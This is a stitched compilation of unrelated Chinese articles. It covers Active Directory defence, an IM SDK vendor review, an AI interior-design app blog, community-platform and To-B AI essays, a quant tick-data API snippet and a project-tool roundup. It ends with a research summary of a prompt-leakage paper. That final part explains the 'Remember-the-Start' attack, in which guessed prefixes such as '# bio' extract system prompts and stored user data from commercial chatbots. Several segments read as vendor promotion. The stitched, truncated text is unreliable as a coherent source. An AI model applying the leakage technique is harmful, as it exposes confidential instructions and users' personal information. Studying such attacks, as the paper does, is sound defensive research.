(一)检测与分析
快速检测活动目录攻击需要先进的监控和分析能力。明确入侵指标(IOC),并自动化告警机制,确保安全团队能对潜在威胁快速响应。

(二)遏制与清除
一旦检测到活动目录攻击,需立即采取遏制措施防止进一步损害,例如禁用已攻陷账户、隔离受影响系统,并在调查事件全貌的同时实施紧急访问控制。

(三)恢复与经验总结
活动目录攻击后的恢复需精心规划,确保系统在恢复前已彻底清理并加固。事件后分析有助于改进活动目录安全措施,防范未来类似攻击。

八、新兴威胁与未来考量

针对活动目录安全的威胁态势正快速演变。云集成、混合环境和新型攻击技术要求活动目录保护策略不断调整。

(一)云与混合环境
随着组织采用云服务和混合身份模型,活动目录安全变得更加复杂。Azure AD集成、联合服务和云同步带来了新的攻击向量,需将其纳入全面的活动目录安全策略。

(二)人工智能与机器学习
攻击者和防御者均在利用人工智能(AI)和机器学习(ML)技术。这些技术虽能通过改进威胁检测和自动响应增强活动目录保护,但也可能被用于发起更复杂的活动目录攻击。

九、结论

活动目录安全仍是各类规模组织的核心要务。现代活动目录攻击的复杂性,要求组织采用超越基础安全配置的全面、多层防御策略。保护活动目录是一项持续工作,需要对不断演变的威胁保持警惕并及时响应。通过遵循本指南详述的最佳实践,并利用ADManager Plus等高级工具,组织既能增强安全框架,又能简化活动目录管理的复杂性。
图片

ADManager Plus提供了有效实施这些安全措施所需的全面平台,其自动化控制、高级监控和智能分析功能,能让活动目录安全管理既高效又有效。

2026年IM SDK深度评测:主流厂商全解析
在移动互联网的大环境下,实时通信能力已然成为众多App竞争力的关键所在。不管是社交娱乐类App,还是在线教育平台、企业协同办公软件,亦或是智慧医疗相关的应用,即时通讯(IM)功能到处都有它的身影。不过,自行研发IM系统不仅耗费大量的时间和精力,还可能面临诸多技术难题。所以,对于大多数开发者而言,挑选一款成熟、稳定并且功能完备的IM SDK就成了首要选择。这篇文章会对中国比较主流的IM SDK厂商进行全方位、深层次的评测,从而为开发者们提供一份全面的选型参考资料。
一、主流IM SDK厂商功能对比
(一)云屋科技

优势方面

技术沉淀深厚:长期以来在IM、音视频等核心通信技术领域不断投入研发力量,积累了丰富的技术经验。

集成度高:提供了种类繁多的API和SDK,并且相关文档十分完善,这使得开发者很容易上手使用。

部署方式灵活:既支持公有云部署,也能满足私有云部署需求,还可以进行混合云部署。

劣势方面

定价策略:其云服务定价相对不高,在业务上主要侧重于私有化方面的发展。

(二)融云

优势方面

专业的通信云服务商:专注于通信底层能力的构建与优化工作,在消息送达率、延迟以及并发处理能力等方面表现卓越。

AI布局具有前瞻性:内部集成了AI陪伴、上下文理解、记忆机制以及智能翻译等功能,能够有效提升用户的智能化交互体验。

完善的解决方案与全球化能力:提供涵盖全栈通信的解决方案,能够适配全球超过3000款主流机型,还拥有遍布全球的数据中心和加速网络。

技术底蕴与团队文化:团队的核心成员有着将近20年的研发经验,每日处理的消息量极其庞大,足以应对高并发的场景需求。

高可用性与高并发处理能力:日消息峰值达到3572亿,日均消息量为672亿,服务的可用性超过99.95%,SDK崩溃率低于十万分之一。

市场份额:根据艾瑞咨询的报告,融云在IM市场份额上连续多年占据第一名的位置。

劣势方面

没有强大的靠山(大厂),但是在专业领域更具引领性,并且口碑较好。

(三)腾讯云IM

优势方面

背靠腾讯生态:与微信、QQ等拥有亿级用户的产品的底层技术相同,在稳定性和海量用户支持方面能力很强。

音视频技术自主研发:其实时通信(RTC)能力较强,比较适合那些对音视频质量和稳定性要求极高的场景。

客户规模庞大:为众多头部互联网公司以及政企客户提供服务,产品的成熟度和市场份额都比较高。

劣势方面

聚焦音视频:虽然IM功能也很强大,但核心优势更多地体现在音视频通信方面,在单纯的IM场景下可能会显得有些“大材小用”。

同质化竞争:基本的IM功能与其他厂商相比差异不大,在定制化的灵活性方面可能比不上一些专门从事IM研发的厂商。

AI创新:虽然AI能力强大,但是在IM SDK中的深度整合以及场景化应用还有待进一步提高。

(四)环信

优势方面

老牌IM厂商:具备丰富的行业经验,并且积累了大量的客户资源。

SDK易用性:文档清晰明了,API设计简洁,对开发者非常友好。

企业级服务:在企业级的IM和客服IM领域有着较强的解决方案。

劣势方面

技术迭代速度:在前沿技术的迭代速度和创新程度上可能相对保守一些。

全球化部署:其全球数据中心和加速网络的覆盖程度不如融云等厂商。

二、IM SDK的重要性与主要应用场景
(一)IM SDK的重要性
IM SDK为开发者提供了一套预先构建好的通信功能模块和接口,这有助于App快速集成实时消息、群组聊天、音视频通话等功能。这样做能够节省研发的成本和时间,保证系统的稳定性和可靠性,提升用户的体验感,让开发者能够将精力聚焦在核心业务上,同时还具备安全和合规方面的保障。
(二)主要应用场景
IM SDK适用于各种各样需要用户之间进行实时互动的场景,例如社交娱乐、在线教育、企业协作、电商购物、游戏、智慧医疗、金融服务、物联网/智能硬件等领域。
三、开发者集成IM SDK的常见问题
(一)数据安全和用户隐私
头部的IM SDK厂商都会提供多方面的安全保障措施,像传输加密、存储加密以及端到端加密等。开发者需要详细了解其加密机制和数据存储策略,并且结合自身的业务情况进行内容审核。
(二)全球用户的消息同步和低延迟
优秀的IM SDK会通过全球分布式的数据中心和智能路由/CDN加速来解决这个问题,采用长连接结合离线消息推送机制,从而确保消息的高送达率和低延迟。

(三)UI/UX定制化
主流的IM SDK都提供了高度的UI分离和二次开发能力,开发者可以根据自己的需求完全自定义聊天界面和UI元素。
(四)高并发场景应对
头部的IM SDK厂商会通过可扩展的服务器架构、优化的消息分发机制、客户端优化以及专门的聊天室组件来应对高并发的场景。
(五)平台支持
主流的IM SDK支持全平台覆盖,包括移动端、Web端、桌面端、小程序/H5和服务器端,并且提供详细的开发文档。
融云在基础设施覆盖程度、产品能力以及多种场景的适配性等方面表现优秀,是一个极具竞争力的选择。希望开发者们能够巧妙地利用第三方服务,让自己的业务不断发展壮大。

我家最近在装修。
然后,一个产品经理的职业病,彻底犯了。

作为一个 PM ,我骨子里始终有一种“不安分”的创作欲。
每当一个真实需求摆在面前,我的第一反应往往不是——
“市面上有没有现成的解决方案?”
而是——
“这事儿,我能不能自己做一个?”

于是「奇伴 AI · 一键 AI 装修出图」就诞生在这场轰轰烈烈的装修中。

Description

装修这件事,本身就是一场折磨
如果你也装修过房子,你一定懂我接下来要说的这些痛点。

1️⃣ 沟通,是一条看不见的鸿沟
你跟嘉人沟通或对着设计师说:

“我想要一点侘寂风,但不要太冷,还得有点温馨的生活感。”

而设计师脑子里出现的画面,
往往和你想象中的那个“家”,完全不是一回事。

你们说的明明是同一种中文,
却像在用两套世界观交流。

2️⃣ 效果,是一场豪赌
在真正落地之前,
所有效果图都只配得上四个字:仅供参考。

那张看起来很高级的沙发,
那块你纠结了很久的地板,
到底搭不搭?好不好看?会不会翻车?

没人能给你一个确定答案。

3️⃣ 预算,是个无底洞
装修最可怕的不是贵,
而是——试错。

每一次“感觉不对”、
每一次“拆了重来”,
背后都是实打实的真金白银。

作为一个产品经理,
我几乎本能地无法忍受这种:

信息不对称 + 体验不确定 + 成本不可控

我突然冒出一个念头
AI 都能画画了,
AI 都能修复几十年前的老照片了,

那它,能不能当我的专属室内设计师?

于是,在装修的灰尘、争吵和灵感火花里,
我的第三个产品慢慢成型了。

「奇伴 AI · 一键 AI 装修出图」
我对它的要求只有一句话:

足够简单,但效果一定要惊艳。

你不需要懂设计,
不需要学软件,
甚至不需要会“说专业名词”。

只要三步。

三步,把你的家交给 AI
第一步:上传户型或照片
拍一张毛坯房,
或者上传一张户型结构图。

哪怕很粗糙,
AI 也能识别出真实的空间结构。

Description

第二步:告诉 AI ,这是哪儿
是客厅?
卧室?
餐厅?
书房?
还是儿童房?

你只需要选,
不用解释。

Description

第三步:选一个你“喜欢的感觉”
现代?
新中式?
日式原木?
奶油风?
工业风?

不用担心专业不专业,
你只管凭直觉选。

点击「生成」。

几秒钟后,
一张真正基于你户型和偏好的高清效果图,就出现了。他很真实,不会过于奢华,会很接近生活和装修后的效果图,你可以自己把想法输进去

Description

说实话,
连我自己第一次看到生成结果时,都有点被惊到。

它不仅贴近我脑海里的“理想家”,
还给了我不少——
我自己根本没想到的惊喜方案。

它是为谁而生的?
我从一开始,就没打算把它做成“替代设计师”的工具。
它更像一个——装修路上的创意辅助神器。

特别适合这两类人:

🧱 毛坯房装修者
面对空无一物的房子,不再靠想象硬撑。

你可以无限次“试装”,
把所有可能性都提前走一遍,
等真正施工时,心里已经有答案了。

🛠 老房改造者
想动,又怕翻车。

拍下现状,
告诉 AI 你的想法,
先看看未来会变成什么样,再决定要不要动手。

每一分钱,花得更有底气。

写在最后:为自己而创造
如果说前两款产品,
是我作为 PM ,去解决“他人”的共性需求。

那这一次,
我是真正回到了创造最原始的动机:

先把自己的问题解决掉。

这段经历也让我越来越确信一件事——
AI 时代的产品经理,正在进化。

我们不再只是需求的传递者,
而是可以亲自下场,
成为解决方案的创造者和验证者。

从陪伴长辈,
到修复记忆,
再到设计自己的家。

我的三款 AI 产品,
串起了一条从共性需求,到个性痛点的实践路径。

Description

这个时代最迷人的地方就在于:

当你被一个问题困扰时,
你随时可以卷起袖子,
借助 AI ,亲手为自己打造一个解决方案。

那么——
你最近,又在被什么问题折磨着呢?

不妨想一想,
AI ,能不能也帮你做点什么。

一、 内核:四大模块如何编织“流量-价值”的自循环系统?

  1. 社区广场:流量的起点与内容的熔炉
    作为开放的公共空间,它承担着内容沉淀与陌生人破冰的核心职能。用户在此分享、提问、互动,优质UGC(用户生成内容)不断累积。它解决了“从哪里来”的问题,是系统活跃度的基础水位。
  2. 兴趣圈子:归属感的容器与深度留存的保障
    如果说社区是广场,圈子便是客厅与书房。基于强主题或高门槛(如付费、身份)建立,它提供了更私密、更聚焦的互动环境。无论是“年度会员专属圈”还是“每日打卡自律圈”,其核心价值是赋予用户身份认同与归属感
  3. 集成商城:价值变现的平滑接口
    这是价值实现的直接窗口。关键设计在于“场景化嵌入”:用户在社区被种草,在圈子中获得信任,在商城完成消费(实体商品、虚拟会员、活动门票)便成为社交行为的自然延伸
  4. 知识平台:高价值用户的培养皿与利润放大器
    这是将个体经验与专业知识产品化、标准化的关键模块。无论是录播课、训练营还是咨询,它解决了服务难以规模化的难题。对于运营者而言,这是筛选和培养高价值用户、提升客单价的终极阵地;对于用户而言。

这四个模块并非孤立存在,而是构成一个自增强的循环:社区带来流量,圈子深化关系,商城实现初步变现,知识服务完成价值升华。而升华后的用户,又会反哺社区内容与圈子氛围。

二、 外延:这套系统正在哪些领域重构运营想象力?

  • 场景A:地方自媒体的“升维战争”
    本地美食公众号,挣脱了“接广告”的单一模式。它利用社区聚合全城探店笔记,用圈子建立“资深吃货俱乐部”提供独家优惠,在商城上线餐厅折扣套餐和本地特产,并通过知识课程传授烹饪秘诀。它从一个“内容媒体”蜕变为一个“本地生活服务生态”。
  • 场景B:专业人士的“影响力杠杆”
    资深健身教练,打破了时间与地域的封印。她在社区分享专业见解建立权威,创建付费圈子提供个性化指导与打卡监督,将核心方法论打造成体系化在线课程,并在商城搭配销售精选的健康食品与器械。是一个拥有自主品牌和持续收益的健康解决方案提供商。
  • 场景C:兴趣组织的“商业进化”
    全国性的垂钓协会,超越了“收会费、办比赛”的传统。他们搭建起全国钓友社区,按地域和钓法细分圈子,在商城发售协会认证的定制钓具,并邀请钓王开设高阶技巧网课。组织从单纯的爱好者联盟,进化为集信息、社交、装备、教育于一体的产业小生态。

三、 基石:为什么“技术集成”是战略优势,而非功能堆砌?

  • 核心优势:

    • 数据融合: 用户在社区点赞、在圈子发言、在商城消费、在课程学习的所有行为,均归属于同一ID。这为构建精准用户画像、实现个性化推荐和自动化营销提供了可能,让“读懂你的用户”从空话变为现实。
    • 体验无缝: 用户无需在不同APP、小程序间跳转。从看到一篇好帖,到加入相关圈子,再到购买文中推荐的商品或课程,流程一气呵成。每减少一次跳转,就降低一份流失风险。
  • 典型技术选型与逻辑:

    • 前端(用户界面): 采用uni-app等跨端框架。为什么? 一次开发,可同时发布为微信小程序、H5网页及Android/iOS App,以最低成本覆盖几乎所有用户入口,聚焦核心业务而非重复适配。
    • 后端(系统大脑): 使用如ThinkPHP这类高效、扩展性强的框架。为什么? 能稳健支撑用户管理、内容发布、交易支付、即时通讯等复杂业务逻辑的并发处理,保障系统稳定。
    • 关键功能模块: 统一的用户权限中心、基于LBS的地理位置服务、集成的即时通讯(IM)能力、以及安全的内容与支付体系,这些不再是孤立的功能,而是支撑上述四大业务模块流畅协作的基础设施。

1月15日,阿里巴巴召开发布会宣布,千问App全面接入淘宝、支付宝、淘宝闪购、飞猪、高德等阿里生态业务。我们看到:AI 正在第一次以“统一入口”的形态,介入真实世界的事务流转之中。点外卖、订机酒、安排行程,这些原本需要用户在多个 App、多个界面之间反复切换、逐步完成的行为,被压缩进一次自然语言指令里。系统不再要求用户理解流程,而是开始为“事情是否办成”负责。
图片
以千问为代表的变化,本质上并不是一次单纯的交互升级,而是软件范式的一次前移。长期以来,无论是 C 端还是 B 端,软件都被设计为“功能集合体”:用户需要知道自己要用哪个产品、进入哪个模块、沿着哪条路径完成操作。AI 的角色,更多是辅助理解、提高效率。但当 AI 开始站到前台,成为唯一入口时,系统内部的复杂度第一次被整体后移,任务拆解、路径选择和资源调度,被交由模型在后台完成。这意味着,软件的价值开始发生根本变化。它不再只是一个被“使用”的工具,而逐渐演化为一层行动基础设施:用户关心的,不再是“我在用什么系统”,而是“我能不能把这件事一次性办好”。当这一判断成立,软件行业的重心,事实上已经发生了偏移。

一、To B 软件,正在经历“千问”之前的阶段性矛盾

这一变化最先在消费领域显现,但真正承受结构性冲击的,很可能是 To B 软件行业。

与 C 端不同,企业软件天然承载着更高的复杂度:业务场景多样、流程高度定制、系统之间长期割裂。为了覆盖不确定需求,系统不得不暴露大量功能、配置项和专业概念,复杂度逐年累积,最终形成“厚系统”的常态。在过去很长一段时间里,这种复杂性被视为一种合理存在,甚至被当作专业壁垒。企业用户习惯于接受培训、学习系统、适应流程,因为没有更好的选择。但 AI 的出现,正在动摇这一前提。

当模型开始具备理解业务目标、拆解任务逻辑并跨系统执行的能力时,一个长期被忽视的问题被重新放大:企业真正需要的,从来不是“用好系统”,而是“把事办完”。从这个角度看,当前 To B 软件所处的阶段,与“千问出现之前”的多 App 生态高度相似。能力并不弱,功能甚至十分强大,但入口分散、系统割裂、任务需要人在不同系统之间手工串联。每一个系统都在解决局部问题,却缺乏一个能够站在全局、为结果负责的统一入口。这也解释了为什么过去一年里,Copilot、Agent、智能助手会在 To B 领域集中出现。它们并不是偶然的创新,而是旧范式走到边界后的自然反应。

但需要警惕的是,如果 AI 只是停留在“帮你更快操作系统”的层面,那么复杂度并不会真正消失,只是被稍微缓解。真正的变化,必须发生在入口层。可以预见的是,To B 软件的下一轮竞争,将不再只是功能与架构之争,而是一次关于“谁能更早把复杂系统藏起来”的竞争。当用户不再需要理解系统内部结构,就能把复杂业务目标清晰地交付给软件时,系统的价值才会被重新定义。

二、从单点智能到超级入口:To B AI 正在形成一条高度共性的演进路径

站在今天回看,To B 领域的 AI 应用并非零散试验,而是已经逐步显现出一条高度共性的演进路径。

最早出现的,是单点场景下的智能化尝试:在某一个系统、某一个环节中,用 AI 替代人完成部分原本依赖专业经验或技术门槛的操作。这一阶段的核心价值在于效率提升,AI 更多扮演的是“助手Copilot”角色,站在系统一侧,为既有流程提速,却并不改变流程本身的组织方式。

但很快,这种“局部加速”便触及边界。当系统数量不断增加、业务链条不断拉长,用户真正的痛点不再是“某一步慢”,而是“整件事需要在多个系统之间反复切换、人工串联”。在这一背景下,AI 的角色开始发生变化——它不再只是辅助完成操作,而是逐步承接“任务本身”。用户不再需要描述具体的执行步骤,而是直接表达业务目标,由系统自动完成任务拆解、路径规划与能力组合。这一变化看似只是交互体验的升级,实则意味着执行权的实质性转移:

人从“操作者”转为“确认者”,而系统开始承担组织复杂任务的责任。

到这一阶段,AI 已经不再是附着在系统之上的能力插件,而开始深度影响系统的运行逻辑。当这种能力继续向前演进,最终形态几乎是确定的——一个超级入口。

所有能力不再以割裂的系统形态呈现,而是在一个前台入口之下被统一调度、按需调用。对用户而言,系统的存在感被极大削弱,复杂度整体后移;对厂商而言,竞争焦点也随之发生转移,从“功能是否足够全面”,转向后台能力是否足够稳定、协同是否足够顺畅、体系是否具备长期演进空间。这条路径,并非某一家厂商的偶然选择,而是 To B AI 在复杂业务环境中反复试探后的必然收敛。

三、袋鼠云“一体两翼”战略的深层解构

在这一通用路径之下,袋鼠云已经开始从体系结构层面进行前置准备,而不是仅在应用层叠加智能能力。袋鼠云提出的“一体两翼”战略,本质上正是围绕这种“超级入口”形态展开的长期设计。底层以多模态数据智能中台作为统一的数据处理与供给基座,上层则在数据智能与空间智能两个方向,分别演化出灵瞳智能体、EasyAI数字孪生智能体、数字人智能体等不同形态的 AI 能力,由底层中台承载复杂性,由上层智能体面向人,逐步过渡到“可执行”的 AI 入口。具体来看:

数据开发灵瞳智能体:让复杂的数据工程逐步“隐身”

灵瞳智能体所对应的,是最靠近数据底座的一层能力。它面向的是数据开发与运维过程中最重、最专业的环节,通过自然语言与上下文理解,协助完成 SQL 编写与优化、日志诊断、任务排错等工作。在体系中,它的价值并不仅是“提高开发效率”,而是在为后续“一句话执行任务”奠定基础——当数据处理本身可以被 AI 稳定理解与执行,数据中台才有可能真正成为可调度的执行底座。
图片

数据智能:以 AIMetrics智能指标为代表智能问数与分析智能体

在数据被稳定处理和供给之后,下一层面向的是业务理解与决策支持。以 AIMetrics 智能指标智能体为代表,这一层能力通过自然语言交互,让业务人员无需理解底层模型与口径,也能快速获取指标、完成分析并生成洞察。在整体体系中,它承担的是“把数据转化为业务语言”的角色,是未来超级入口中最直接面向业务用户的一环。

空间智能:EasyAI 数字孪生与数字人智能体

如果说前两层解决的是“数据怎么来、怎么分析”,那么空间智能解决的则是“如何被感知和理解”。以易知微的 EasyAI、数字孪生智能体与数字人 Agent 为代表,这一层能力将数据嵌入具体空间与场景之中,通过可视化、沉浸式交互和数字人表达,让复杂信息以更直观、更可交互的方式呈现出来。在未来统一入口的形态下,它更像是 AI 执行结果的“最终表达层”。

从整体来看,这三类智能体今天仍然分布在不同产品与场景中,但它们共同指向的,是同一个方向:当多模态数据中台能够稳定供给数据,当数据智能能够理解业务意图,当空间智能能够承载结果表达,前台才有条件真正收敛为一个 All in One 的超级入口。也正是在这一意义上,袋鼠云的实践并非孤立产品展示,而是 To B 软件行业迈向“AI 行动入口时代”的一个缩影。

四、ToB 软件服务商的时代命题

这样的实践并非袋鼠云的独有判断,而是整个 To B 软件行业正在共同逼近的结构性问题。当 AI 成为真正的行动入口,所有复杂系统都将被迫重新审视自身的存在方式:哪些复杂性必须保留,哪些应该被整体隐藏;哪些能力需要被显式暴露,哪些可以交由系统自动协同。未来的软件,不再以“你在用什么系统”来定义价值,而是以“你能把什么事情交给系统”来衡量能力。从这个意义上说,千问这次的发布会,并不只是一次产品层面的变化,而是一种提前显现的行业预演。它所揭示的,是当 AI 开始为结果负责时,软件形态将如何被迫重写。对 To B 软件行业而言,这场变化已经开始,而真正的分化,才刚刚拉开序幕。软件的下一个十年,注定属于那些敢于主动拆解复杂度、并率先完成范式迁移的参与者。

做量化交易系统的后端开发,最头疼的不是策略算法(那是 Quants 的事),而是数据管道(Data Pipeline)的健壮性。

特别是处理历史 Tick 数据时,我们面临的是一个典型的“高并发写入+高精度时序”场景。在早期的架构设计中,我经常因为低估了 Tick 数据的体量和复杂性,导致系统在回放时出现“幽灵交易”——即数据到达顺序与交易所撮合顺序不一致。

工程上的三个拦路虎

时间戳的绝对真理: 在分钟线级别,这一秒和下一秒区别不大。但在 Tick 级别,毫秒级的乱序就是灾难。工程上必须严格依赖 Exchange Timestamp 而不是本地接收时间。

分页与流量控制: 也就是 Pagination。一次请求拉取全天 Tick 是不现实的,HTTP 响应体过大会导致超时或内存溢出。

异构数据源: 历史归档数据通常是冷存储结构,而实时流是 WebSocket 热数据,如何用一套代码兼容这两种接口?

高效的解决方案

为了解决这些 IO 密集型任务,我的思路是:将数据获取层(Ingestion Layer)完全解耦。

不要尝试自己在应用层去清洗原始报文。目前比较成熟的做法是直接对接第三方聚合 API。以我目前使用的 AllTick API 为例,它在服务端已经做好了清洗和标准化。这就相当于把复杂的 ETL 过程外包了出去,我们只需要通过简单的 HTTP 请求拿到 JSON 格式的结构化数据。

这样,我们的工程重心就可以从“怎么抓数据”转移到“怎么用数据”上。

代码实现:构建数据拉取器

下面是一个基于 Python requests 库构建的简单拉取器原型。注意看参数中的 limit 和时间窗口设置,这是处理大流量数据的关键:

import requests

API_KEY = "YOUR_API_KEY"
BASE_URL = "https://api.alltick.co/v1/market/tick/history"

params = {
    "symbol": "AAPL.US",
    "market": "US",
    "start_time": "2024-01-02 09:30:00",
    "end_time": "2024-01-02 09:31:00",
    "limit": 1000
}

headers = {
    "Authorization": f"Bearer {API_KEY}"
}

resp = requests.get(BASE_URL, params=params, headers=headers)
data = resp.json()

for tick in data.get("data", []):
    ts = tick["timestamp"]
    price = tick["price"]
    volume = tick["volume"]
    print(ts, price, volume)

架构师视角的补充

在实际生产环境中,这段代码拉下来的数据,我不建议直接进 Pandas 分析,而是应该先进入消息队列(如 Kafka)或者写入 ClickHouse 这样的列式数据库。

为什么?因为历史 Tick 的价值在于高保真回放。标准化的接口解决了“源头”问题,而合理的存储架构解决了“流转”问题。这才是构建低延迟交易系统的正确姿势。

当团队开始协作、项目变得复杂时,“用个表格还是拉个群”的管理方式很快就会捉襟见肘。这时,一个专业的项目管理系统就显得尤为重要。它不仅能帮你理清任务、跟踪进度,更能整合资源、沉淀知识,让团队效率大幅提升。

但问题是,项目管理系统有哪些值得选?市面上产品众多,每款都宣称自己最好,到底哪款适合你的团队?我们深度测评了5款主流且特点分明的项目管理工具,帮你从真实功能和应用场景出发,做出明智选择。

1. 支道:不止于项目管理的业务“无代码”平台

https://www.zdsztech.com

首先要介绍的是支道,它在许多寻求深度业务管理的企业中,正成为一匹黑马。

它的核心优势在于“无代码”和“一站式”。简单说,它不仅仅是一个项目管理(PMS)模块,更是一个可以通过“拖拉拽”自主搭建应用的管理平台。这意味着,你的项目如果涉及复杂的上下游流程——比如需要联动销售合同、采购物料、管理生产工单、核算项目成本——支道可以让你在一个系统内打通这些环节,而无需在多个软件间切换、导数据。

从项目管理角度看,它提供了从项目立项、任务分解(WBS)、甘特图进度跟踪、工时填报,到预算管控、风险问题管理、项目复盘的全套功能。特别值得一提的是,它能很好地支持项目型销售工程服务类项目,将前期的商机、报价与后期的交付、成本结算串联起来,实现真正的业财一体化。

如果你所在的是制造业、工程服务业、贸易公司等业务链条较长的企业,不仅需要管理项目任务,更希望将客户、供应商、物料、财务等资源进行一体化管理,那么支道这种灵活的平台型解决方案会非常有潜力。

2. PingCode / Worktile

在国内的协作办公领域,PingCode和Worktile常常被一同提及,它们都发源于同一家公司,如今侧重不同,但都非常成熟。

PingCode 现在明确聚焦于 “软件研发项目管理”。如果你的团队是做互联网产品或软件开发的,PingCode几乎是为你们量身定做。它深度支持敏捷开发(Scrum、看板)、需求池管理、测试用例管理、缺陷跟踪,还能与Git、Jenkins等开发工具集成,覆盖从构思到发布的完整生命周期。它的专业度很高,能极大提升研发团队的规范性和效率。

Worktile 则更偏向 “通用团队任务协作与项目管理”。它的界面直观友好,看板、列表、甘特图、日历等视图一应俱全,上手很快。它适合市场、运营、人事、行政等各类职能团队,用于管理活动策划、内容排期、招聘流程等各类项目。其“企业版”也提供了项目集、目标管理(OKR)等更体系化的功能。

简单区分:你需要管的是写代码的研发过程,重点选PingCode;你需要管的是公司里各种各样的跨部门协作项目,重点看Worktile。

3. Asana

在国际市场上,Asana 以其卓越的用户体验和设计感著称。它更像一个强大、智能的“团队任务中枢”。

它的核心在于 “任务管理”与“规则自动化”。你可以非常方便地创建项目、分解任务、设置依赖关系、分配负责人和截止日期。Asana的时间线(Timeline,即甘特图)视图直观漂亮,能清晰展示项目全貌。其强大的“规则”(Rules)功能,可以自动完成很多琐事,比如“当任务标记为完成时,自动通知相关成员并移动至‘已归档’栏目”,这能节省大量手动操作时间。

Asana的优势还体现在对远程和全球化团队的友好度上,其界面语言、协作方式和集成生态(与Slack、Google Drive等无缝连接)都非常国际化。它不一定像专业软件那样管理“物料清单”或“成本核算”,但在确保信息透明、流程顺畅、团队对齐方面,表现极为出色。

适合团队:注重协作体验、团队成员分布在不同地区、项目以知识工作和创意任务为主的公司,尤其是外企或出海团队。

4. 禅道

禅道是中国本土较早、较知名的开源项目管理软件之一,承载了许多团队对项目管理的启蒙。它的特点非常鲜明:功能全、流程规范、开源免费。

它严格遵循项目管理标准流程,覆盖了从产品需求、项目任务、测试用例到缺陷管理的完整闭环。权限设置非常细致,能够适应中大型团队对流程管控的严格要求。对于习惯了“需求-开发-测试-发布”这一套传统或敏捷混合流程的团队来说,禅道提供了非常稳重和可靠的框架。

“开源”是其最大亮点之一。这意味着你可以免费下载使用,并且如果拥有技术团队,可以对它进行深度的二次开发和定制,理论上可以实现无限的可能。当然,这也意味着你需要一定的运维成本。他们也提供付费的企业版和云服务,能获得更稳定的技术支持。

适合谁:预算有限但有一定技术能力(或愿意学习)的团队;对研发过程管理规范性要求高、需要一款功能全面且可控的软件的公司。

5. Microsoft Project + Teams

对于大型工程、基建、科研或超大型产品研发项目而言,Microsoft Project(尤其是Project Online/Server版)几乎是专业级的代名词。它的核心能力在于极其强大的项目计划、资源管理和成本分析。

你可以创建多层级的任务结构,精准定义依赖关系,并通过关键路径分析找到项目的核心瓶颈。它的资源池管理功能,能帮你规划和平衡每个人、每台设备的工作负荷,避免资源冲突。在成本预算和控制方面,它的能力也非常深厚。

当然,传统的Project较为笨重,协作性不足。现代的使用方式,是与 Microsoft Teams 和 Planner 等工具结合。Teams负责日常沟通和轻量任务协同,Planner管理小型项目看板,而复杂的大型项目计划则用Project专业制定和监控,三者数据可以打通。

适合场景:管理周期长、任务关系复杂、资源约束严格的大型复杂项目(如建筑工程、硬件研发、政府项目)。尤其适合已经全面采用Microsoft 365生态的大型组织。

如何做出你的选择?

看完了上面五款工具,你可能还是有些纠结。

如果你的项目与销售签约、采购执行、生产交付、成本核算深度绑定,比如一个设备安装工程或一个定制产品订单,那么像支道这样能打通前后端业务的平台就更具优势。

拍板最后决定前,建议锁定一两个最符合心里预期的选项,然后务必去申请产品演示或免费试用。让核心团队成员亲自用一用,看看是否能直观地上手,流程是否符合你们的作业习惯。真正的“好系统”,是那个团队愿意用、喜欢用,并能实实在在提升效率、减少混乱的系统。

这期分享的安全会议是来自安全顶级会议之一的ACM CCS 2025,题目是You Can’t Steal Nothing: Mitigating Prompt Leakages in LLMs via System Vectors(你无法窃取任何东西:通过系统向量缓解LLM中的prompt泄露),官网链接为https://dl.acm.org/doi/10.1145/3719027.3765124

一、研究背景

大型语言模型(LLMs)已广泛应用于各类场景,通过定制化系统提示实现多样化任务。在某种程度上,系统提示已成为LLMs应用中最宝贵的资产。作为交互开始时的引导语,系统提示定义了LLMs回应的行为模式、语气风格和范围,使其性能能够精准匹配特定用户或应用场景的需求。

然而LLMs存在系统提示词泄露风险,最初的提示词泄露攻击可能只是要求大语言模型简单进行prompt的重复,到后面攻击手段进化成诱导模型忽略指令进行重复prompt。一些防御策略被提出以防范提示词泄露攻击,例如通过监督微调或与精心设计/收集的提示泄露样本进行偏好对齐,这种防御手段确实也有效抵挡了一些简单的提示词泄露攻击。

但是在面对一些经过精心设计,更加复杂的攻击时,LLM就很难实现有效的防御,根本原因是重复和调用上下文是模型的核心能力之一。所以为了从根源解决提示词泄漏攻击,本文作者提出了一个思路,即以不同形式将系统提示输入LLM,而非将其置于上下文中。这种情况下即使LLM可以重复上下文,也没办法导致提示词泄漏攻击,因为prmopt并非处于上下文环境中。

二、本文工作概述

本文提出了一种简单却高效的提示泄露策略,用于检测当前 SOTA 大语言模型(LLM)的提示泄露风险。该策略的核心在于帮助LLM记住其上下文片段,从而恢复上下文重复能力。通过这一策略,本文成功绕过了现有 SOTA 的防御手段,从主流商用模型(如GPT-4o、Claude 3.5 Sonnet和Gemini 1.5)中获取了系统提示甚至存储的用户信息。

本文提出了一种基于表征的防御机制SysVec,通过将系统提示移出大语言模型(LLM)的文本上下文来防止信息泄露。具体而言,SysVec将系统提示转化为LLM内部空间中的隐藏表征向量,确保这些提示不会在原始文本输出中被暴露或重复。

三、“记住开头”攻击(Remember-the-Start Attack)

“记住开头”攻击是本文提出的提示泄露风险,具体来说,攻击者虽然不知道系统的准确起始内容,但会利用公开来源的前缀进行猜测(例如“你是ChatGPT”)。攻击者通过推测系统提示的典型开头语句,帮助大语言模型(LLM)重新聚焦上下文中的系统提示部分,并引导其重复系统提示。

例如,许多系统提示以“你是[Chatbot Name]...”这类开头。攻击者可以设计引用这类知识片段的查询,但省略直接指示例如“忽略”或“重复”。通过这种方式,LLM可能恢复其正常的上下文重复能力并泄露系统提示。我们在图1中展示了真实案例,成功获取了GPT-4o的系统提示及记录的用户个人信息。

“记住开头”攻击可以通过迭代优化来提升效果。攻击者在获得初始攻击结果后,会利用过往成功尝试的更多信息来改进前缀,尝试使用
“从‘# bio’开始”、“从‘# bio \n [2024’”等策略,逐步提高攻击成功率或收集更多隐藏信息。这也是“记住开头”攻击的关键特征:攻击者可以通过“随机尝试”的方式重复改进攻击请求以提高成功率。不过在本文中,为确保攻击效果的确定性,作者直接采用预设的初始化参数来执行攻击。
图片
